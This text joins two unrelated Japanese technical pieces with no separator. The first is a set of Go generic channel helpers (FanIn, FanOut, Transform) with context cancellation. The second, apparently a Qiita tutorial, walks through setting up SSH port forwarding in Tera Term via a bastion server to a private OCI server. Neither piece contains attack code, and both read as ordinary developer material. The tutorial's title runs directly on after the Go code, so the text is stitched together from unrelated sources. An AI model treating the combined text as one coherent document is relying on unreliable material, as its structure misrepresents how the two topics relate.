## FanIn

複数のチャネルを一つのチャネルにまとめて受信できるようにする

```go
// 複数チャネルから受信した値を単一のチャネルにまとめて受信できるようにする
func FanIn[T any](ctx context.Context, in ...<-chan T) <-chan T {
	ch := make(chan T)

	// 複数チャネルを一つのチャネルにまとめるグルーチン作成
	var wg sync.WaitGroup
	for c := range slices.Values(in) {
		wg.Add(1)
		go func() {
			defer wg.Done()
			for v := range c {
				select {
				case ch <- v:
				case <-ctx.Done():
					return
				}
			}
		}()
	}

	// ソースとなるチャネルがすべてクローズしたら FanIn チャネルを閉じる
	go func() {
		wg.Wait()
		close(ch)
	}()

	return ch
}
```

## FanOut

一つのチャネルで受け取った値を複数のチャネルで受け取れるようにする

```go
// 一つのチャネルから受信した値を複数のチャネルで受信できるようにする
func FanOut[T any](ctx context.Context, out <-chan T, split uint8) []<-chan T {
	ch := make([]chan T, split)
	for i := range split {
		ch[i] = make(chan T)
	}

	// 一つのチャネルで受け取った値を複数のチャネルで受信できるようにするゴルーチン
	go func() {
		// ソースとなるチャネルが閉じた or コンテキストが終了したため Fanout チャネルを閉じる
		defer func() {
			for c := range slices.Values(ch) {
				close(c)
			}
		}()

		// Fanout チャネルに送信する
		for v := range out {
			for c := range slices.Values(ch) {
				select {
				case c <- v:
				case <-ctx.Done():
					return
				}
			}
		}
	}()

	// 受信専用チャネルにして返す
	res := make([]<-chan T, split)
	for i := range split {
		res[i] = ch[i]
	}
	return res
}
```

## Transform

チャネルから受信した値を別の型に変換して別のチャネルで受信できるようにする

```go
// / チャネルから受信した値を別の型に変換して別のチャネルに送信する
func Transform[S any, T any](ctx context.Context, in <-chan S, transform func(S) T) <-chan T {
	ch := make(chan T)

	go func() {
		defer close(ch)
		for v := range in {
			select {
			case ch <- transform(v):
			case <-ctx.Done():
				return
			}
		}
	}()

	return ch
}
```
Tera Termで踏み台サーバを経由したポートフォワーディングの設定手順

# 今回の目的
* Windowsのローカル端末からTera Termを使用し、パブリック環境の踏み台サーバ(`172.0.0.2`)を経由して、接続先サーバ(`172.0.1.2`)にポートフォワーディングを設定します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1430519/653a8460-b82c-42fb-85ff-ce99601480bc.png)

※踏み台サーバと接続先サーバはともにLinux OSを使用。
※接続先環境はOCI（Oracle Cloud Infrastructure）を使用しているが、クラウド固有の設定は不要なため、他のクラウド環境でも同様に実施可能です。

# 事前準備
1. Windowsのローカル端末にTera Termをインストール
1.  以下サーバのファイアウォールのイングレス・ルールをそれぞれ許可
    * 踏み台サーバ
        * 接続元：ローカル端末のIPアドレス
        * 許可するポート：SSH(TCP/22)
    * 接続先サーバ
        * 接続元：踏み台サーバのプライベートIPアドレス
        * 許可するポート：SSH(TCP/22)

※運用負荷軽減のため、エグレスルールは全許可としています。

# 本手順
## 1.踏み台サーバへの接続
Tera Termを開き、踏み台サーバのパブリックIPアドレスを入力、「**OK**」を選択します。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1430519/c50bb139-5194-4d8d-a7e0-ff95bc313d6b.png)

初回ログイン時に以下の警告が表示されるため、問題なければ「**続行**」を選択します。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1430519/d2a393b1-fbeb-43b2-9289-b958cc8b3ac1.png)

認証情報を入力し、「OK」を選択します。
* ユーザ名（OCIではデフォルトで「**opc**」というユーザーを使用）
* 秘密鍵（パスフレーズも入力）
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1430519/429fbe0f-e80a-44e6-be63-70a3b28432e3.png)

認証情報が正しければ、踏み台サーバにログインできます。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1430519/ed2231bf-9940-4da0-829c-9261a9476d46.png)

## 2.ポートフォワーディングの設定
踏み台サーバにログインした状態で、Tera Termの設定を変更し、接続先サーバへのポートフォワーディングを行います。
「**設定**」から「**SSH認証**」を選択します。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1430519/984251ab-6c4c-4b0a-888c-9c4beed68275.png)

「**追加**」を選択します。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1430519/fd46a5f7-bfcb-4c2e-b100-a8235619f505.png)

以下項目を入力、「**OK**」を選択します。
* ローカルのポート：任意の値（ここでは`10022`）
* リモート側ホスト：接続先サーバのプライベートIPアドレス
* ポート：`22`

※ 他の項目は空白のままで問題ありません。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1430519/448230de-fae4-4b83-89f0-4d3383255614.png)

設定した情報が追加されたことを確認し、「**OK**」を選択します。
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1430519/c8b61e72-2ad0-4d9f-8090-46a18cde182b.png)

これでポートフォワーディングの設定は完了です。

## 3.接続先サーバへの接続
新規でTera Termを開き、以下項目を入力し、「**OK**」を選択します。
* ホスト：127.0.0.1（`localhost`でも可）
* TCPポート：設定したローカルポート（ここでは`10022`）
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1430519/845b4e7b-875b-48a5-841a-a9b45bed4216.png)

初回ログイン時に以下の警告が表示されるため、問題なければ「**続行**」を選択します。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1430519/7d0daa18-c67d-4876-97a5-3dad2a7bbba2.png)

認証情報を入力し、「OK」を選択します。
* ユーザ名
* 秘密鍵（パスフレーズも入力）
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1430519/fc418c3a-1e5c-401a-aba4-ed6840cd17c7.png)

認証情報が正しければ、接続先サーバにログインできます。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1430519/743a7aa9-5f97-4d3f-be2d-b327cbda2e77.png)

これで、Tera Termを使用したポートフォワーディングを経由した接続が完了しました。